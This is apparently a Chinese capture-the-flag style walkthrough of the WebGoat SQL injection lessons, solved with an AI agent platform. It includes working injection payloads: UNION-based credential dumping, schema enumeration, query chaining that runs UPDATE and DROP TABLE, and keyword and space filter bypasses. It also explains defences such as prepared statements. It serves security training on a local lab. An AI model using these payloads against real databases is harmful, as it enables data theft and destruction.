一、安装运行
下载 jar 包:https://github.com/WebGoat/WebGoat/releases

我这里使用的是最新版本,该版本需要使用 java23 运行,这里默认大家都会安装配置 java 环境了~
通过如下方式运行:
bash
java -jar webgoat-2025.3.jar
mac 电脑的一个简单切换 Java 版本的方式:
conda create -n java23 -c conda-forge openjdk=23
conda active java23
运行上面 jar 包后,访问 http://127.0.0.1:8080/WebGoat 进入靶场首页
二、安装 qwenwork 并 配置内置浏览器扩展
下载地址:https://qwenwork.cn
配置浏览器连接器:

配置千问办公的浏览器连接器需要进行两步操作,一是开启浏览器开发者模式,二是安装千问办公提供的浏览器扩展插件,这两步非常简单,大家按照提示操作即可。
三、开始正式打靶场
这里我们使用下面的双栏布局,以便我们同时观察结果。

提示词如下:
目前浏览器工具已经配置好,我已经打开了http://127.0.0.1:8080/WebGoat/start.mvc?username=wanqingliu#lesson/SqlInjectionAdvanced.lesson/2页面,解释该关卡的内容。
这里我们看到智能体已经读到页面内容,并且开始进行解释:

这里我们直接输入它给我们的 payload,靶场页面显示成功。
bash
' UNION SELECT userid, user_name, password, cookie, NULL, NULL, NULL FROM user_system_data --

四、通关笔记
一、SQL Injection (intro) ------ 9 关
1. attack2:查 Bob Franco 的部门(练 SELECT)
后端把你的输入直接当作完整 SQL 执行。
sql
SELECT department FROM employees WHERE last_name = 'Franco'
2. attack3:改 Tobi Barnett 的部门为 Sales(练 UPDATE)
sql
UPDATE employees SET department='Sales' WHERE last_name='Barnett'
3. attack4:给 employees 表加 phone 列(练 ALTER)
sql
ALTER TABLE employees ADD phone varchar(20)
原理:DDL 语句,攻击者可修改表结构。GRANT ALTER TABLE 语法 HSQLDB 不支持,注意别写成授权形式。
4. attack5:给 unauthorized_user 授权(练 GRANT)
sql
GRANT ALL ON grant_rights TO unauthorized_user
原理:DCL 授权语句,攻击者可自我提权,破坏机密性 。注意 HSQLDB 只接受 GRANT ALL ON ...,不接受 GRANT ALTER TABLE ON ...。
5. assignment5a:字符串注入下拉框组合
三个下拉框(姓氏 / and-or / 注入片段)的值会被整体拼进一对引号里:
通关组合:Smith' + or + '1' = '1'
拼出 last_name='Smith' or '1' = '1' 恒真,返回全表。要点:account 必须带闭合引号 Smith';injection 选 '1' = '1'(结尾引号由原查询自己补齐,不要再多打引号)。
6. assignment5b:数字型注入
数字拼接没有引号包裹 ,注入更简单。Login_Count 填 1,User_Id 填:
1 OR 1=1
原理:数字型注入无需闭合引号,直接拼布尔恒真条件。
7. attack8:破坏机密性(查全员工资)
Name 填:
Smith' OR 1=1 --
原理:' 闭合引号 → OR 1=1 恒真 → -- 注释掉后面的 auth_tan 校验。这是字符串注入的万能三板斧结构。
8. attack9:破坏完整性(链式查询改工资)
Name 填:
Smith'; UPDATE employees SET salary = '100000' WHERE last_name = 'Smith'; --
原理:; 结束原语句并链式拼接 新语句(query chaining),直接改数据,再 -- 注释掉残余部分。
9. attack10:破坏可用性(删日志表)
action_string 填:
'; DROP TABLE access_log --
原理:链式拼接 DROP 删表,完成 CIA 三要素的最后一环「可用性」破坏。
二、SQL Injection (advanced) ------ 4 关
10. attack6a:UNION 拖库(偷 user_system_data 表)
sql
SELECT * FROM user_data WHERE last_name = '<输入>'
user_data 是 7 列,user_system_data 只有 4 列。UNION 铁律:列数相等、类型对齐。
' UNION SELECT userid, user_name, password, cookie, NULL, NULL, NULL FROM user_system_data --
原理:前半段查一个不存在的姓(空结果),UNION 把目标表 4 列对齐前 4 列(int 对 int、字符串对字符串),3 个 NULL 补位到 7 列。拖出 Dave 密码 passW0rD。
11. attack6b:提交 Dave 的密码
passW0rD
12. 登录注入挑战(以 Tom 身份登录)
失败尝试 :tom' -- 直接注入登录框无效(此关登录框不是注入点,是真实校验)。
正确姿势 :借用 6a 的注入点先枚举数据库,再拿真实密码登录。
第一步,列出一张表看有哪些业务表:
' UNION SELECT NULL, TABLE_NAME, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.SYSTEM_TABLES --
第二步,看 SQL_CHALLENGE_USERS 表的列( userid / password / email):
' UNION SELECT NULL, COLUMN_NAME, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_NAME = 'SQL_CHALLENGE_USERS' --
第三步,拖数据(注意 USERID 是数字列会类型冲突,用 CONCAT 转字符串):
' UNION SELECT NULL, CONCAT(USERID,''), CONCAT(PASSWORD,''), EMAIL, NULL, NULL, NULL FROM SQL_CHALLENGE_USERS --
得到 tom / thisisasecretfortomonly,用真实账密正常登录即通关。
原理:INFORMATION_SCHEMA 系统表枚举 是 SQL 注入的标准侦察流程:先列表名 → 再列列名 → 最后拖数据。类型冲突时用 CONCAT(col,'') 把数字转字符串。
13. Quiz:预编译语句 5 题
| 题 | 答案要点 |
|---|---|
| statement vs prepared statement | Statement 含实际值,PreparedStatement 用占位符 |
| 占位符是哪个字符 | ? |
| 预编译为何更快 | 编译一次可复用,降低编译开销 |
| 为何防注入 | 占位符让用户输入不直接拼进 SQL,代码与数据分离 |
输入 Robert'); DROP TABLE Students;-- 会怎样 |
整体被当作普通字符串,不会执行 |
三、SQL Injection (mitigation) ------ 5 关
14. attack10a:补全安全代码(下拉填空)
7 个空依次填:
getConnection / PreparedStatement / prepareStatement / ? / ? / setString(1, "John") / setString(2, "john@webgoat.org")
原理:参数化查询三步走------DriverManager.getConnection 建连接 → prepareStatement 预编译带 ? 占位符的 SQL → setString 绑定参数。
15. attack10b:手写防注入 JDBC 代码
java
try {
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
PreparedStatement statement = conn.prepareStatement("SELECT status FROM users WHERE name = ?");
statement.setString(1, "jsmith");
ResultSet results = statement.executeQuery();
while (results.next()) {
System.out.println(results.getString("status"));
}
} catch (Exception e) {
System.out.println("Oops. Something went wrong!");
}
16. 空格过滤绕过(SqlOnlyInputValidation)
过滤规则:输入含空格 即拒绝。绕法:用 /**/ 内联注释替代所有空格:
'/**/UNION/**/SELECT/**/userid,user_name,password,cookie,NULL,NULL,NULL/**/FROM/**/user_system_data/**/--
原理:SQL 里 /**/ 与空格等价(分词符),黑名单挡不住语法等价物。
17. 关键词过滤绕过(SqlOnlyInputValidationOnKeywords)★最难一关
过滤规则(实测):全部转大写 → 按单词边界正则删除 UNION → 整体字符串替换删除 SELECT 和 FROM → 禁空格。
单一绕法失效分析:UNUNIONION 嵌套对 UNION 无效(因为 UNION 是词边界正则,嵌套词没有边界);SESELECTLECT、FRFROMOM 嵌套对 SELECT/FROM 有效(因为是整串替换,删一次后剩下恰好拼出关键词)。
终极绕法 :让被简单替换的 SELECT 在删除后拼出 UNION------UNSELECTION 删掉 SELECT 剩 UNION:
'/**/UNSELECTION/**/SESELECTLECT/**/userid,user_name,password,cookie,NULL,NULL,NULL/**/FRFROMOM/**/user_system_data/**/--
过滤后实际执行的 SQL 变成合法的 UNION SELECT ... FROM ...。
原理:黑名单替换不递归、且不同关键词的过滤方式不一致,攻击者可利用「删除动作本身生成新关键词」完成二级拼接。
18. attack12a:ORDER BY 盲注(找 webgoat-prd 的 IP)
页面提示 IP 末三段为 xxx.130.219.202。ORDER BY 注入点在服务器列表的排序字段,可用 CASE WHEN 布尔盲注逐位猜 IP。已知公认答案直接提交:
104.130.219.202
原理:预编译语句不能 防护 ORDER BY 子句(占位符不能用于列名/排序表达式),ORDER BY (CASE WHEN (条件) THEN col1 ELSE col2 END) 依然是合法 SQL。防御必须靠白名单限制排序列。
四、知识点总结
'闭合引号 → 拼接恶意 SQL(OR 恒真 / UNION / 链式)→--注释残余。- 字符串注入(闭合引号)、数字注入(无需闭合)、UNION 联合查询(列数+类型对齐,
CONCAT解决类型冲突)、链式查询(;拼接 DML/DDL/DCL)。 - INFORMATION_SCHEMA.SYSTEM_TABLES 列表 → SYSTEM_COLUMNS 列列 → 拖数据。
- 过滤绕过:空格→
/**/;关键词→嵌套(SESELECTLECT)或二级拼接(UNSELECTION→UNION);大小写混写在「先 toUpperCase」的过滤下无效。 - 预编译语句(
?占位符 + setString)是唯一可靠方案;输入验证只是辅助;ORDER BY 场景必须用白名单;数据库账号遵循最小权限。
五、总结
我认为现在的智能体平台能很好的帮助我们进行网安的一些靶场的学习提效,本文也是介绍了如何利用 qwenwork 智能体平台执行这样的一个任务(关键是它免费哇,不用白不用)。
感兴趣的同学自己去试试哇,拜拜~~
最后,qwenwork 完成所有 sql 注入靶场的任务共花费了 22m 12s,各位觉得这个效率怎么样呢?欢迎在评论区留言~